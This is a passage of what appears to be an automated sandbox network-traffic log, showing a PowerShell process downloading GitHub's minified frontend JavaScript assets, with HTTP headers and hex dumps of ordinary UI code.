2024-09-30 13:50:29 UTC	1026	IN	Data Raw: 6c 7c 7c 28 6c 3d 21 30 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2c 6f 2c 21 30 29 29 2c 72 2e 61 64 64 28 65 2c 74 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 2e 6d 61 74 63 68 65 73 28 65 29 26 26 74 28 64 6f 63 75 6d 65 6e 74 2e 61 63 74 69 76 65 45 6c 65 6d 65 6e 74 29 7d 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 2c 6e 29 7b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 6c 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 6c 26 26 28 6c 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 65 2c 6e 29 2c 6c Data Ascii: l\|\|(l=!0,document.addEventListener("focus",o,!0)),r.add(e,t),document.activeElement instanceof HTMLElement&&document.activeElement.matches(e)&&t(document.activeElement)}function a(e,t,n){function s(t){let l=t.currentTarget;l&&(l.removeEventListener(e,n),l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.7	49757	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:29 UTC	402	OUT	GET /assets/app_assets_modules_github_sticky-scroll-into-view_ts-112600808cf9.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:29 UTC	735	IN	HTTP/1.1 200 OK Connection: close Content-Length: 10541 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Content-MD5: 3weht2CpValUkHj9FvGZNA== Last-Modified: Wed, 14 Aug 2024 19:47:47 GMT ETag: "0x8DCBC99F962FB97" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 2333608 Date: Mon, 30 Sep 2024 13:50:29 GMT X-Served-By: cache-iad-kjyo7100078-IAD, cache-ewr-kewr1740067-EWR X-Cache: HIT, HIT X-Cache-Hits: 170, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: db1320a5dde8d6b114490aba3ef3b76b9145f786
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 73 74 69 63 6b 79 2d 73 63 72 6f 6c 6c 2d 69 6e 74 6f 2d 76 69 65 77 5f 74 73 22 5d 2c 7b 34 30 36 32 32 3a 28 74 2c 65 2c 6e 29 3d 3e 7b 6e 2e 64 28 65 2c 7b 53 7a 3a 28 29 3d 3e 66 2c 5a 3a 28 29 3d 3e 64 2c 6b 6e 3a 28 29 3d 3e 75 7d 29 3b 76 61 72 20 69 3d 6e 28 32 33 31 34 39 29 2c 6f 3d 6e 28 39 37 37 39 37 29 3b 6c 65 74 20 6c 3d 22 6f 6e 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 69 6e 20 77 69 6e 64 6f 77 3b 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_sticky-scroll-into-view_ts"],{40622:(t,e,n)=>{n.d(e,{Sz:()=>f,Z:()=>d,kn:()=>u});var i=n(23149),o=n(97797);let l="ontransitionend"in window;function s(t){
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 22 7d 29 7d 2c 7b 6f 6e 63 65 3a 21 30 7d 29 2c 65 2e 73 74 79 6c 65 2e 62 6f 78 53 69 7a 69 6e 67 3d 22 63 6f 6e 74 65 6e 74 2d 62 6f 78 22 2c 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 62 6c 6f 63 6b 22 2c 65 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 3d 22 76 69 73 69 62 6c 65 22 2c 74 26 26 72 28 65 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 65 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 29 2e 68 65 69 67 68 74 7d 29 2c 65 2e 6f 66 66 73 65 74 48 65 69 67 68 74 29 7d 66 6f 72 28 6c 65 74 20 74 20 6f 66 28 65 28 29 2c 6e 29 29 69 66 28 74 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 Data Ascii: function(){e.style.height=""})},{once:!0}),e.style.boxSizing="content-box",e.style.display="block",e.style.visibility="visible",t&&r(e,function(){e.style.height=getComputedStyle(e).height}),e.offsetHeight)}for(let t of(e(),n))if(t instanceof HTMLElement&&
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 65 74 61 69 6c 73 2d 63 6f 6e 74 61 69 6e 65 72 22 2c 6e 3d 74 2e 63 6c 6f 73 65 73 74 28 65 29 2e 63 6c 61 73 73 4c 69 73 74 3b 72 65 74 75 72 6e 20 6e 2e 63 6f 6e 74 61 69 6e 73 28 22 44 65 74 61 69 6c 73 2d 2d 6f 6e 22 29 7c 7c 6e 2e 63 6f 6e 74 61 69 6e 73 28 22 6f 70 65 6e 22 29 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 29 7b 6c 65 74 20 65 3d 21 31 2c 6e 3d 74 2e 70 61 72 65 6e 74 45 6c 65 6d 65 6e 74 3b 66 6f 72 28 3b 6e 3b 29 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 44 65 74 61 69 6c 73 2d 63 6f 6e 74 65 6e 74 2d 2d 73 68 6f 77 6e 22 29 26 26 28 65 3d 21 30 29 2c 6e 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e 73 28 22 6a 73 2d 64 65 74 61 69 6c 73 2d 63 6f 6e 74 61 69 6e 65 72 22 29 26 26 28 6e 2e 63 6c 61 73 73 4c Data Ascii: etails-container",n=t.closest(e).classList;return n.contains("Details--on")\|\|n.contains("open")}function f(t){let e=!1,n=t.parentElement;for(;n;)n.classList.contains("Details-content--shown")&&(e=!0),n.classList.contains("js-details-container")&&(n.classL
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 75 72 6e 21 21 74 26 26 28 74 2e 72 65 6d 6f 76 65 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6b 69 70 70 65 64 2d 74 6f 2d 63 6f 6e 74 65 6e 74 22 29 2c 21 30 29 7d 28 30 2c 69 2e 6c 42 29 28 22 2e 6a 73 2d 73 6b 69 70 2d 74 6f 2d 63 6f 6e 74 65 6e 74 22 2c 74 3d 3e 7b 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 66 6f 63 75 73 22 2c 74 3d 3e 7b 6c 65 74 20 65 3d 74 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 22 74 72 75 65 22 3d 3d 3d 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 73 6b 69 70 2d 74 61 72 67 65 74 2d 61 73 73 69 67 6e 65 64 22 29 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 6d 61 69 6e 22 29 3b 69 66 28 6e 7c 7c 28 6e 3d Data Ascii: urn!!t&&(t.removeAttribute("data-skipped-to-content"),!0)}(0,i.lB)(".js-skip-to-content",t=>{t.addEventListener("focus",t=>{let e=t.currentTarget;if("true"===e.getAttribute("data-skip-target-assigned"))return;let n=document.querySelector("main");if(n\|\|(n=
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 6e 5d 22 29 29 65 2e 63 6c 6f 73 65 28 29 7d 29 2c 28 30 2c 69 2e 6c 42 29 28 22 71 62 73 65 61 72 63 68 2d 69 6e 70 75 74 22 2c 28 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 71 62 73 65 61 72 63 68 2d 69 6e 70 75 74 3a 65 78 70 61 6e 64 22 2c 28 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 62 6c 61 63 6b 62 69 72 64 2d 73 65 61 72 63 68 2d 61 63 74 69 76 65 22 2c 22 74 72 75 65 22 29 7d 29 2c 64 6f 63 75 6d 65 6e 74 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 71 62 73 65 61 72 63 68 2d 69 6e 70 75 74 3a 63 6c 6f 73 65 22 2c 28 29 3d 3e 7b 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 62 6c 61 63 6b 62 69 Data Ascii: n]"))e.close()}),(0,i.lB)("qbsearch-input",()=>{document.addEventListener("qbsearch-input:expand",()=>{document.body.setAttribute("blackbird-search-active","true")}),document.addEventListener("qbsearch-input:close",()=>{document.body.setAttribute("blackbi
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 6e 74 3a 74 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 65 7d 29 7b 65 26 26 28 74 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 73 74 61 74 69 63 22 2c 74 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 54 6f 70 3d 65 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 54 6f 70 2c 65 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 29 2c 74 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 22 69 73 2d 73 74 75 63 6b 22 29 7d 66 75 6e 63 74 69 6f 6e 20 62 28 7b 65 6c 65 6d 65 6e 74 3a 74 2c 70 6c 61 63 65 68 6f 6c 64 65 72 3a 65 2c 6f 66 66 73 65 74 50 61 72 65 6e 74 3a 6e 2c 74 6f 70 3a 6f 7d 29 7b 69 66 28 65 26 26 21 28 30 2c 69 2e 4c 29 28 29 29 7b 6c 65 74 20 69 3d 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2c 6c 3d 65 2e Data Ascii: nt:t,placeholder:e}){e&&(t.style.position="static",t.style.marginTop=e.style.marginTop,e.style.display="none"),t.classList.remove("is-stuck")}function b({element:t,placeholder:e,offsetParent:n,top:o}){if(e&&!(0,i.L)()){let i=t.getBoundingClientRect(),l=e.
2024-09-30 13:50:29 UTC	1378	IN	Data Raw: 3d 74 2e 6f 66 66 73 65 74 50 61 72 65 6e 74 29 72 65 74 75 72 6e 3b 61 77 61 69 74 20 6f 2e 4b 3b 6c 65 74 20 65 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 74 2e 67 65 74 42 6f 75 6e 64 69 6e 67 43 6c 69 65 6e 74 52 65 63 74 28 29 2e 68 65 69 67 68 74 29 3b 65 3e 30 26 26 28 61 28 65 29 2c 4c 28 29 2c 70 28 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4c 28 29 7b 66 6f 72 28 6c 65 74 20 74 20 6f 66 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 70 6f 73 69 74 69 6f 6e 2d 73 74 69 63 6b 79 2c 20 2e 6a 73 2d 6e 6f 74 69 66 69 63 61 74 69 6f 6e 2d 73 68 65 6c 66 2d 6f 66 66 73 65 74 2d 74 6f 70 22 29 29 41 28 74 29 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 29 7b 69 66 28 74 2e 63 6c 61 73 73 4c 69 73 74 2e 63 6f 6e 74 61 69 6e Data Ascii: =t.offsetParent)return;await o.K;let e=Math.floor(t.getBoundingClientRect().height);e>0&&(a(e),L(),p())}function L(){for(let t of document.querySelectorAll(".js-position-sticky, .js-notification-shelf-offset-top"))A(t)}function A(t){if(t.classList.contain
2024-09-30 13:50:29 UTC	895	IN	Data Raw: 75 72 6e 3b 6c 65 74 20 65 3d 74 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 3b 73 65 74 54 69 6d 65 6f 75 74 28 28 29 3d 3e 7b 65 26 26 65 2e 64 65 66 61 75 6c 74 56 69 65 77 26 26 28 74 2e 73 63 72 6f 6c 6c 49 6e 74 6f 56 69 65 77 28 29 2c 65 2e 64 65 66 61 75 6c 74 56 69 65 77 2e 73 63 72 6f 6c 6c 42 79 28 30 2c 2d 72 28 65 29 29 29 7d 2c 30 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 74 29 7b 6c 65 74 20 65 3d 28 30 2c 69 2e 72 47 29 28 74 29 3b 65 26 26 6c 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 74 29 7b 28 30 2c 6f 2e 4b 29 28 29 3b 6c 65 74 20 65 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 2e 6a 73 2d 73 74 69 63 6b 79 2d 6f 66 66 73 65 74 2d 73 63 72 6f 6c 6c 22 29 2c 6e 3d 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 Data Ascii: urn;let e=t.ownerDocument;setTimeout(()=>{e&&e.defaultView&&(t.scrollIntoView(),e.defaultView.scrollBy(0,-r(e)))},0)}function s(t){let e=(0,i.rG)(t);e&&l(e)}function r(t){(0,o.K)();let e=t.querySelectorAll(".js-sticky-offset-scroll"),n=t.querySelectorAll(

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.7	49758	185.199.110.154	443	6764	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-30 13:50:30 UTC	450	OUT	GET /assets/app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6-6faacedf87fe.js HTTP/1.1 Accept: / Accept-Language: en-CH UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729) Host: github.githubassets.com Connection: Keep-Alive
2024-09-30 13:50:30 UTC	694	IN	HTTP/1.1 200 OK Connection: close Content-Length: 18233 Cache-Control: public, max-age=31536000, immutable Content-Type: application/javascript Last-Modified: Fri, 27 Sep 2024 21:28:58 GMT ETag: "0x8DCDF3B65ED52EF" Server: Windows-Azure-Web/1.0 Microsoft-HTTPAPI/2.0 Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 221887 Date: Mon, 30 Sep 2024 13:50:30 GMT X-Served-By: cache-iad-kcgs7200114-IAD, cache-ewr-kewr1740051-EWR X-Cache: HIT, HIT X-Cache-Hits: 26, 0 Vary: Accept-Encoding Cross-Origin-Resource-Policy: cross-origin Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31536000 X-Fastly-Request-ID: 6eecf72669d37f4c35bf44db4df58a6e4ce63677
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 3d 67 6c 6f 62 61 6c 54 68 69 73 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 61 6a 61 78 2d 65 72 72 6f 72 5f 74 73 2d 61 70 70 5f 61 73 73 65 74 73 5f 6d 6f 64 75 6c 65 73 5f 67 69 74 68 75 62 5f 62 65 68 61 76 69 6f 72 73 5f 69 6e 63 6c 75 64 65 2d 64 30 64 30 61 36 22 2c 22 75 69 5f 70 61 63 6b 61 67 65 73 5f 73 6f 66 74 2d 6e 61 76 69 67 61 74 65 5f 73 6f 66 74 2d 6e 61 76 69 67 61 74 65 5f 74 73 22 5d 2c 7b 35 37 37 36 35 3a 28 65 2c 74 2c 72 29 3d 3e 7b 72 2e 64 28 74 2c 7b 61 3a 28 29 3d 3e 6f 2c Data Ascii: "use strict";(globalThis.webpackChunk=globalThis.webpackChunk\|\|[]).push([["app_assets_modules_github_behaviors_ajax-error_ts-app_assets_modules_github_behaviors_include-d0d0a6","ui_packages_soft-navigate_soft-navigate_ts"],{57765:(e,t,r)=>{r.d(t,{a:()=>o,
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 2d 63 6f 6e 74 61 69 6e 65 72 20 63 6f 6c 6f 72 2d 62 67 2d 74 72 61 6e 73 70 61 72 65 6e 74 20 6a 73 2d 72 65 6e 64 65 72 2d 74 61 72 67 65 74 20 70 2d 30 22 0a 20 20 20 20 20 20 64 61 74 61 2d 69 64 65 6e 74 69 74 79 3d 22 24 7b 69 7d 22 0a 20 20 20 20 20 20 64 61 74 61 2d 68 6f 73 74 3d 22 24 7b 6f 2e 6f 72 69 67 69 6e 7d 22 0a 20 20 20 20 20 20 64 61 74 61 2d 74 79 70 65 3d 22 24 7b 72 2e 74 79 70 65 7d 22 0a 20 20 20 20 3e 0a 20 20 20 20 20 20 3c 69 66 72 61 6d 65 0a 20 20 20 20 20 20 20 20 74 69 74 6c 65 3d 22 46 69 6c 65 20 64 69 73 70 6c 61 79 22 0a 20 20 20 20 20 20 20 20 72 6f 6c 65 3d 22 70 72 65 73 65 6e 74 61 74 69 6f 6e 22 0a 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 72 65 6e 64 65 72 2d 76 69 65 77 65 72 22 0a 20 20 20 20 20 20 20 20 73 Data Ascii: -container color-bg-transparent js-render-target p-0" data-identity="${i}" data-host="${o.origin}" data-type="${r.type}" > <iframe title="File display" role="presentation" class="render-viewer" s
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 65 72 3a 6f 2c 63 6f 6e 74 65 6e 74 4a 73 6f 6e 3a 67 7d 29 2c 79 3d 63 28 69 2c 74 2c 7b 74 79 70 65 3a 72 2c 69 64 65 6e 74 69 66 69 65 72 3a 60 24 7b 6f 7d 2d 66 75 6c 6c 73 63 72 65 65 6e 60 2c 63 6f 6e 74 65 6e 74 4a 73 6f 6e 3a 67 7d 29 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 6c 65 74 20 69 3d 28 30 2c 6e 2e 71 79 29 60 3c 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 0a 20 20 20 20 61 72 69 61 2d 6c 61 62 65 6c 3d 22 43 6f 70 79 20 24 7b 72 2e 74 79 70 65 7d 20 63 6f 64 65 22 0a 20 20 20 20 2e 76 61 6c 75 65 3d 24 7b 65 7d 0a 20 20 20 20 63 6c 61 73 73 3d 22 62 74 6e 20 6d 79 2d 32 20 6a 73 2d 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 20 70 2d 30 20 64 2d 69 6e 6c 69 6e 65 2d 66 6c 65 78 20 74 6f 6f 6c 74 69 70 70 65 64 2d 6e 6f 2d 64 Data Ascii: er:o,contentJson:g}),y=c(i,t,{type:r,identifier:`${o}-fullscreen`,contentJson:g}),b=function(e,t,r){let i=(0,n.qy)`<clipboard-copy aria-label="Copy ${r.type} code" .value=${e} class="btn my-2 js-clipboard-copy p-0 d-inline-flex tooltipped-no-d
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 35 20 30 20 30 31 30 20 31 2e 30 36 6c 2d 37 2e 32 35 20 37 2e 32 35 61 2e 37 35 2e 37 35 20 30 20 30 31 2d 31 2e 30 36 20 30 4c 32 2e 32 32 20 39 2e 32 38 61 2e 37 35 2e 37 35 20 30 20 30 31 31 2e 30 36 2d 31 2e 30 36 4c 36 20 31 30 2e 39 34 6c 36 2e 37 32 2d 36 2e 37 32 61 2e 37 35 2e 37 35 20 30 20 30 31 31 2e 30 36 20 30 7a 22 0a 20 20 20 20 20 20 3e 3c 2f 70 61 74 68 3e 0a 20 20 20 20 3c 2f 73 76 67 3e 0a 20 20 3c 2f 63 6c 69 70 62 6f 61 72 64 2d 63 6f 70 79 3e 60 2c 6f 3d 28 30 2c 6e 2e 71 79 29 60 0a 20 20 20 20 3c 64 65 74 61 69 6c 73 20 63 6c 61 73 73 3d 22 64 65 74 61 69 6c 73 2d 72 65 73 65 74 20 64 65 74 61 69 6c 73 2d 6f 76 65 72 6c 61 79 20 64 65 74 61 69 6c 73 2d 6f 76 65 72 6c 61 79 2d 64 61 72 6b 22 20 73 74 79 6c 65 3d 22 64 69 73 70 6c Data Ascii: 5 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z" ></path> </svg> </clipboard-copy>`,o=(0,n.qy)` <details class="details-reset details-overlay details-overlay-dark" style="displ
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 32 34 20 32 34 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 3d 22 63 75 72 72 65 6e 74 43 6f 6c 6f 72 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 73 74 79 6c 65 3d 22 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 65 78 74 2d 62 6f 74 74 6f 6d 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6c 61 73 73 3d 22 6f 63 74 69 63 6f 6e 20 6f 63 74 69 63 6f 6e 2d 78 22 0a 20 20 20 20 20 20 20 20 20 20 20 20 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 70 61 74 68 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 65 76 65 6e 6f 64 64 22 0a 20 20 20 20 20 20 Data Ascii: viewBox="0 0 24 24" fill="currentColor" style="display:inline-block;vertical-align:text-bottom" class="octicon octicon-x" > <path fill-rule="evenodd"
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 32 34 29 2c 69 3d 72 28 32 31 34 30 33 29 2c 6f 3d 72 28 39 37 37 39 37 29 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 29 7b 6c 65 74 20 72 3d 65 2e 63 75 72 72 65 6e 74 54 61 72 67 65 74 3b 69 66 28 72 20 69 6e 73 74 61 6e 63 65 6f 66 20 45 6c 65 6d 65 6e 74 29 7b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 64 61 74 61 2d 73 68 6f 77 2d 6f 6e 2d 65 72 72 6f 72 5d 22 29 29 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 54 4d 4c 45 6c 65 6d 65 6e 74 26 26 28 65 2e 68 69 64 64 65 6e 3d 21 74 29 3b 66 6f 72 28 6c 65 74 20 65 20 6f 66 20 72 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 22 5b 64 61 74 61 2d 68 69 64 65 2d 6f 6e 2d 65 72 72 6f 72 5d 22 29 29 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 48 Data Ascii: 24),i=r(21403),o=r(97797);function a(e,t){let r=e.currentTarget;if(r instanceof Element){for(let e of r.querySelectorAll("[data-show-on-error]"))e instanceof HTMLElement&&(e.hidden=!t);for(let e of r.querySelectorAll("[data-hide-on-error]"))e instanceof H
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 2e 68 65 6c 6c 6f 54 69 6d 65 72 3d 6e 75 6c 6c 29 2c 74 2e 6c 6f 61 64 54 69 6d 65 72 26 26 28 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 74 2e 6c 6f 61 64 54 69 6d 65 72 29 2c 74 2e 6c 6f 61 64 54 69 6d 65 72 3d 6e 75 6c 6c 29 29 7d 66 75 6e 63 74 69 6f 6e 20 6d 28 65 2c 74 3d 22 22 29 7b 65 2e 63 6c 61 73 73 4c 69 73 74 2e 72 65 6d 6f 76 65 28 2e 2e 2e 6c 29 2c 65 2e 63 6c 61 73 73 4c 69 73 74 2e 61 64 64 28 22 69 73 2d 72 65 6e 64 65 72 2d 66 61 69 6c 65 64 22 29 3b 6c 65 74 20 72 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 6c 65 74 20 74 3d 28 30 2c 6e 2e 71 79 29 60 3c 70 3e 55 6e 61 62 6c 65 20 74 6f 20 72 65 6e 64 65 72 20 72 69 63 68 20 64 69 73 70 6c 61 79 3c 2f 70 3e 60 3b 69 66 28 22 22 21 3d 3d 65 29 7b 6c 65 74 20 72 3d 65 2e 73 70 6c 69 74 28 22 5c Data Ascii: .helloTimer=null),t.loadTimer&&(clearTimeout(t.loadTimer),t.loadTimer=null))}function m(e,t=""){e.classList.remove(...l),e.classList.add("is-render-failed");let r=function(e){let t=(0,n.qy)`<p>Unable to render rich display</p>`;if(""!==e){let r=e.split("\
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 74 75 72 6e 3b 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 74 29 74 72 79 7b 74 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 74 29 7d 63 61 74 63 68 7b 72 65 74 75 72 6e 7d 69 66 28 22 6f 62 6a 65 63 74 22 21 3d 74 79 70 65 6f 66 20 74 26 26 76 6f 69 64 20 30 21 3d 74 7c 7c 22 72 65 6e 64 65 72 22 21 3d 3d 74 2e 74 79 70 65 7c 7c 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 2e 69 64 65 6e 74 69 74 79 29 72 65 74 75 72 6e 3b 6c 65 74 20 72 3d 74 2e 69 64 65 6e 74 69 74 79 3b 69 66 28 22 73 74 72 69 6e 67 22 21 3d 74 79 70 65 6f 66 20 74 2e 62 6f 64 79 29 72 65 74 75 72 6e 3b 6c 65 74 20 6e 3d 74 2e 62 6f 64 79 2c 6f 3d 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 6c 65 74 20 72 3d 65 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 60 2e 6a 73 2d Data Ascii: turn;if("string"==typeof t)try{t=JSON.parse(t)}catch{return}if("object"!=typeof t&&void 0!=t\|\|"render"!==t.type\|\|"string"!=typeof t.identity)return;let r=t.identity;if("string"!=typeof t.body)return;let n=t.body,o=function(e,t){let r=e.querySelector(`.js-
2024-09-30 13:50:30 UTC	1378	IN	Data Raw: 72 65 61 64 79 3a 61 63 6b 22 2c 22 63 6f 64 65 5f 72 65 6e 64 65 72 69 6e 67 5f 73 65 72 76 69 63 65 3a 72 65 61 64 79 3a 61 63 6b 22 3a 7b 7d 7d 7d 29 7d 2c 30 29 7d 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 72 65 73 69 7a 65 22 3a 61 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 20 61 2e 68 65 69 67 68 74 26 26 28 6f 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 60 24 7b 61 2e 68 65 69 67 68 74 7d 70 78 60 29 3b 62 72 65 61 6b 3b 63 61 73 65 22 63 6f 64 65 5f 72 65 6e 64 65 72 69 6e 67 5f 73 65 72 76 69 63 65 3a 63 6f 6e 74 61 69 6e 65 72 3a 67 65 74 5f 73 69 7a 65 22 3a 68 28 73 2c 7b 74 79 70 65 3a 22 72 65 6e 64 65 72 3a 63 6d 64 22 2c 62 6f 64 79 3a 7b 63 6d 64 3a 22 63 6f 64 65 5f 72 65 6e 64 65 72 69 6e 67 5f 73 65 72 76 69 63 65 3a 63 6f 6e 74 Data Ascii: ready:ack","code_rendering_service:ready:ack":{}}})},0)});break;case"resize":a&&"number"==typeof 